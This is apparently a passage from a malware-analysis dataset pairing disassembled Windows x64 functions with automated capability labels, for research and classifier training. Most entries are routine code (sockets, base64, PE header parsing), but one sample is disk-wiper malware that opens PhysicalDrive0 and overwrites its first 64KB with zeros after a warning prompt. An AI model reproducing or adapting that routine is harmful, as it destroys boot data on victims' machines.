joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400187f0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.140017440
mov ecx, dword [0x14001c3b8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x1400187a8
test byte [rbx + 0x40], 0xc
jne 0x14001875f
mov eax, dword [0x140024d68]
test eax, eax
jne 0x140018770
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.1400166a0
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x140018793
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x140018793
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x1400187bc
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140016990
call fcn.1400174f0
mov rbx, rax
test rax, rax
jne 0x14001874f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x1400187da
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.140016990
call fcn.140018650
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x140018860
call fcn.140019910
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x140018898
call fcn.140017440
mov ecx, dword [0x14001c3b8]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x1400188f0
test esi, esi
je 0x140018876
call fcn.140018730
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1400188d0
mov edx, edi
call fcn.1400199c0
call fcn.140018730
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140017440
mov ecx, dword [0x14001c3b8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400188e0
call fcn.140018730
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140018730
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140017440
mov ecx, dword [0x14001c3b8]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x140018835
call fcn.1400174f0
mov rbx, rax
jmp 0x140018835
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001884e
call fcn.1400174f0
jmp 0x140018876
call fcn.1400174f0
mov rbx, rax
jmp 0x140018831

Function at 0x140018900
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.140017440
mov ecx, dword [0x14001c3b8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140018970
test esi, esi
je 0x140018950
call fcn.140018730
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140018980
mov edx, esi
call fcn.1400199c0
call fcn.140018730
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140018730
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140018730
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.1400174f0
mov rbx, rax
jmp 0x140018921
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001893a
Function at 0x140001000
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 2
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [0x140049e10]
call fcn.14002716c
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140026970
add rsp, 0x1d8
ret
Function at 0x140004d70
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
mov qword [rcx], rbp
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
lea rsi, [rdx + 0x10]
mov rdx, qword [rsi]
cmp rdx, 0xf
jbe 0x140004dc5
call fcn.1400174d0
mov qword [rbx + 0x10], rbp
mov r15d, 0xfffffffa
mov r14, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140004ddb
mov r14, qword [rdi]
mov rdi, r14
mov r13, qword [rsi]
add r13, rdi
cmp r14, r13
je 0x140004ed1
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
shl ebp, 8
movzx eax, byte [r14]
add ebp, eax
add r15d, 8
js 0x140004e76
movsxd r12, ebp
movsxd rdi, r15d
lea ecx, [r15 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov esi, edx
imul eax, edx, 0xfffffffa
add r15d, eax
nop dword [rax]
mov rax, r12
mov rcx, rdi
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140004e5d
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140004e52
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140004e6c
mov rcx, rbx
call fcn.140017620
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub rdi, 6
sub rsi, 1
jne 0x140004e20
inc r14
cmp r14, r13
jne 0x140004df1
cmp r15d, 0xfffffffa
jle 0x140004ed1
lea ecx, [r15 + 8]
shl ebp, 8
movsxd rdx, ebp
sar rdx, cl
and edx, 0x3f
movzx r9d, byte [rdx + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140004ec9
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140004ebe
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140004ed1
mov rcx, rbx
call fcn.140017620
mov rcx, qword [rbx + 0x10]
test cl, 3
je 0x140004f19
nop word [rax + rax]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140004f05
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140004efd
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x140004f10
mov r9b, 0x3d
mov rcx, rbx
call fcn.140017620
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x140004ee0
mov rax, rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400050a0
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x34], r8d
nop dword [rax + rax]
lea rax, [rsp + 0x30]
xor r9d, r9d
lea ecx, [rdi + 1]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000510f
call fcn.140031494
cmp dword [rax], 4
je 0x1400050e0
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140026970
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x140005140
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor eax, eax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x30], rax
mov rdi, rcx
mov dword [rsp + 0x40], 1
nop word [rax + rax]
lea rax, [rsp + 0x30]
xor r9d, r9d
lea ecx, [rdi + 1]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x1400051ae
call fcn.140031494
cmp dword [rax], 4
je 0x140005180
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140026970
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x1400051e0
Capabilities:
Resolve dns

Disassembly:
push rbx
push rsi
sub rsp, 0x4f8
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rbx, r8
mov dword [rsp + 0x40], pe_nt_image_headers64
mov rsi, rdx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
jne 0x1400052ca
movzx eax, word [rsp + 0x50]
mov qword [rsp + 0x4f0], rdi
mov edi, dword [rsp + 0x40]
cmp ax, 2
je 0x14000523f
cmp ax, 0x17
jne 0x14000524f
movzx ecx, word [rsp + 0x52]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
mov dword [rbx], eax
xor edx, edx
lea rcx, [rsp + 0xd0]
mov r8d, 0x401
call fcn.1400291a0
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
lea r8, [rsp + 0xd0]
mov r9d, 0x401
mov qword [rsp + 0x20], rax
mov edx, edi
lea rcx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_getnameinfo]
mov rdi, qword [rsp + 0x4f0]
test eax, eax
jne 0x1400052ca
lea rax, [rsp + 0xd0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400052b0
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call fcn.140001fc0
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140026970
add rsp, 0x4f8
pop rsi
pop rbx
ret
mov rcx, qword [rcx + 8]
jmp 0x1400051e0
Function at 0x140009500
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
call qword [rax + ioctlsocket]
test al, al
je 0x140009550
cmp rbx, 0x7fffffff
ja 0x140009550
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cdqe
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140009570
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1400095c0
cmp rbx, 0x7fffffff
ja 0x1400095c0
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
cdqe
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000de10
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x58
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor esi, esi
mov qword [rsp + 0x28], rcx
cmp qword [rcx + 0x28], 0x10
lea rbx, [rcx + 0x10]
mov rbp, rdx
mov byte [rsp + 0x20], 0
mov edi, 2
mov r15d, esi
mov rdx, rbx
jb 0x14000de54
mov rdx, qword [rbx]
lea r8, [rsp + 0x38]
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x14000de70
mov r15d, reloc.WS2_32.dll_recv
jmp 0x14000de94
cmp qword [rbx + 0x18], 0x10
jb 0x14000de7a
mov rbx, qword [rbx]
lea r8, [rsp + 0x30]
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x14000de99
mov r15d, 4
mov edi, 7
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
lea edx, [r9 + 0x55]
call qword [sym.imp.libcrypto_1_1_x64.dll_X509_get_ext_d2i]
mov r12, rax
test rax, rax
je 0x14000df9e
mov qword [rsp + 0xa0], r13
mov rcx, rax
mov qword [rsp + 0x50], r14
xor r13b, r13b
xor r14b, r14b
call qword [sym.imp.libcrypto_1_1_x64.dll_OPENSSL_sk_num]
mov dword [rsp + 0x24], eax
test eax, eax
jle 0x14000df91
test r14b, r14b
jne 0x14000df8c
mov edx, esi
mov rcx, r12
call qword [sym.imp.libcrypto_1_1_x64.dll_OPENSSL_sk_value]
mov rbp, rax
cmp dword [rax], edi
jne 0x14000df76
mov rcx, qword [rax + 8]
call qword [sym.imp.libcrypto_1_1_x64.dll_ASN1_STRING_get0_data]
mov rcx, qword [rbp + 8]
mov rbx, rax
call qword [sym.imp.libcrypto_1_1_x64.dll_ASN1_STRING_length]
movsxd r8, eax
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x14000df20
cmp rax, r8
jne 0x14000df76
cmp edi, 2
je 0x14000df65
cmp edi, 7
jne 0x14000df76
mov r8, r15
lea rcx, [rsp + 0x38]
mov rdx, rbx
call fcn.140029360
test eax, eax
je 0x14000df60
mov r8, r15
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140029360
test eax, eax
jne 0x14000df76
mov r13b, 1
jmp 0x14000df76
mov rcx, qword [rsp + 0x28]
mov rdx, rbx
call fcn.14000dfd0
movzx r14d, al
inc esi
cmp esi, dword [rsp + 0x24]
jl 0x14000dee0
test r14b, r14b
jne 0x14000df8c
test r13b, r13b
je 0x14000df91
mov byte [rsp + 0x20], 1
mov r13, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x50]
mov rcx, r12
call qword [sym.imp.libcrypto_1_1_x64.dll_GENERAL_NAMES_free]
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140026970
add rsp, 0x58
pop r15
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140022990
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140022a03
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call fcn.140031d5c
mov rcx, rbx
test eax, eax
je 0x140022a2f
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400229e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140026970
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140022a0e
Function at 0x14002fa88
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002f878
Function at 0x140040070
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400400a0
xor eax, eax
jmp 0x140040163
mov rbp, rbx
cmp word [rax], si
je 0x1400400c5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400400ac
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400400a8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14003e81c
movsxd r14, eax
test eax, eax
jne 0x140040103
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140040099
mov rcx, r14
call fcn.140039000
mov rdi, rax
test rax, rax
jne 0x14004011c
xor ecx, ecx
call fcn.140038fc4
jmp 0x1400400f8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14003e81c
test eax, eax
jne 0x14004014d
mov rcx, rdi
call fcn.140038fc4
jmp 0x140040157
xor ecx, ecx
call fcn.140038fc4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400464f4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002fcbc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14004657e
cmp byte [rbp - 0x21], r15b
je 0x140046579
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400465b4
call fcn.14003a954
test eax, eax
jne 0x1400465a0
cmp byte [rbp - 0x21], r15b
je 0x140046598
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400465b4
cmp byte [rbp - 0x21], r15b
je 0x1400465b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400357a8
test eax, eax
jne 0x140046654
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002fcbc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400465f3
cmp byte [rbp - 0x21], r15b
je 0x140046628
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140046628
call fcn.14003a954
test eax, eax
jne 0x140046614
cmp byte [rbp - 0x21], r15b
je 0x14004660d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140046628
cmp byte [rbp - 0x21], r15b
je 0x140046625
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400357a8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140046654
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140046657
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140046665
mov rcx, rdi
call fcn.140038fc4
cmp byte [rbp + 0x3f], r15b
je 0x140046674
mov rcx, qword [rbp + 0x27]
call fcn.140038fc4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000c980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c9cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c9c4
cmp dword [rcx + 0x3c], edx
jl 0x14000c9c4
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c9c4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c9cc
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r9d, 0x34
lea r8, str.Malware
lea rdx, str.This_is_a_malware_and_can_destroy_your_os__n_nDo_you_want_to_continue_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 6
je 0x14000103a
cmp eax, 1
je 0x140001031
xor eax, eax
add rsp, 0x28
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001040
int3

Function at 0x140001040
Capabilities:
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor esi, esi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000109d
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400010d7
lea ecx, [rax + 3]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rsp + 0x5c]
xor r8d, r8d
sub ecx, dword [rsp + 0x54]
xor edx, edx
mov r9d, dword [rsp + 0x58]
sub r9d, dword [rsp + 0x50]
mov dword [rsp + 0x40], 0x660046
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x1400010e0
Function at 0x10009318
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov rax, qword [rcx + 0x80]
xor r9d, r9d
mov r11, rcx
movsxd r8, dword [rax + 0x3c]
add r8, rax
movzx eax, word [r8 + 0x14]
movzx ebx, word [r8 + 6]
lea r10, [rax + r8 + 0x18]
test ebx, ebx
jle 0x10009367
lea rcx, [r10 + 0xc]
mov r8d, dword [rcx]
cmp rdx, r8
jb 0x1000935b
mov eax, dword [rcx - 4]
add eax, r8d
cmp rdx, rax
jb 0x10009377
inc r9d
add rcx, 0x28
cmp r9d, ebx
jl 0x10009348
mov rax, qword [r11 + 0x80]
add rax, rdx
mov rbx, qword [rsp + 8]
ret
movsxd rax, r9d
lea rcx, [rax + rax*4]
mov eax, dword [r10 + rcx*8 + 0x14]
mov ecx, dword [r10 + rcx*8 + 0xc]
sub rax, rcx
add rax, rdx
add rax, qword [r11 + 0x80]
jmp 0x10009371
Function at 0x1000fde0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
movsxd r10, edx
mov r9d, r8d
test edx, edx
jle 0x1000fe0d
movsx eax, byte [r9 + rcx]
inc r9
add r8d, eax
imul r8d, r8d, 0x401
mov eax, r8d
shr eax, 6
xor r8d, eax
cmp r9, r10
jl 0x1000fded
lea ecx, [r8 + r8*8]
mov eax, ecx
shr eax, 0xb
xor eax, ecx
imul eax, eax, 0x8001
ret

Function at 0x10011420
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rcx
cmp dword [rcx + 0x8c], ebx
jne 0x10011445
call fcn.10015018
test rax, rax
je 0x10011598
mov r11d, dword [rdi + 0x88]
cmp r11d, 0x40
jb 0x10011598
mov rdx, qword [rdi + 0x80]
movsxd r8, dword [rdx + 0x3c]
lea rcx, [r8 + 0x108]
cmp r11, rcx
jb 0x10011598
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x10011598
cmp r11d, dword [r8 + rdx + 0x54]
jb 0x10011598
mov edi, dword [rdi + 0x8c]
mov eax, 1
test edi, edi
jne 0x100114a4
movzx eax, word [r8 + rdx + 0x16]
and eax, 0x2000
cmp dword [r8 + rdx], 0x4550
jne 0x10011598
test eax, eax
je 0x10011598
test byte [r8 + rdx + 0x16], 2
je 0x10011598
cmp word [r8 + rdx + 6], bx
jbe 0x10011598
mov eax, 0xf0
cmp word [r8 + rdx + 0x14], ax
jne 0x10011598
mov eax, 0x20b
cmp word [r8 + rdx + 0x18], ax
jne 0x10011598
mov r10d, dword [r8 + rdx + 0x84]
mov ecx, ebx
test r10d, r10d
je 0x10011567
lea r9, [r8 + rdx + 0x88]
cmp ecx, 9
ja 0x1001153a
je 0x1001155c
mov eax, ecx
test ecx, ecx
je 0x10011528
dec eax
je 0x1001155c
dec eax
je 0x1001155c
dec eax
je 0x1001155c
dec eax
jmp 0x1001155c
cmp edi, 3
jge 0x1001155c
cmp dword [r9 + 4], ebx
jbe 0x10011598
cmp dword [r9], ebx
jbe 0x10011598
jmp 0x1001155c
mov eax, ecx
sub eax, 0xa
je 0x1001155c
dec eax
je 0x1001155c
dec eax
je 0x1001155c
dec eax
je 0x1001155c
dec eax
jne 0x1001155c
cmp dword [r9 + 4], ebx
jne 0x10011598
cmp dword [r9], ebx
jne 0x10011598
inc ecx
add r9, 8
cmp ecx, r10d
jb 0x1001150b
movzx r10d, word [r8 + rdx + 6]
mov r9d, ebx
test r10d, r10d
jle 0x10011593
lea rcx, [r8 + rdx + 0x118]
mov eax, dword [rcx + 4]
add eax, dword [rcx]
cmp eax, r11d
ja 0x10011598
inc r9d
add rcx, 0x28
cmp r9d, r10d
jl 0x1001157d
mov ebx, 1
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140003cbc
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
mov rsi, rcx
test r9, r9
je 0x140003cff
mov r15, r9
mov r14, r8
mov rbx, qword [rsp + 0x100]
mov ecx, edx
call qword [sym.imp.kernel32.dll_GetStdHandle]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x140003d1c

Function at 0x14000551c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140005566
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005566
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005566
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005566
cmp dword [rcx + 0x84], 0xe
jbe 0x140005566
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005568
xor al, al
add rsp, 0x28
ret

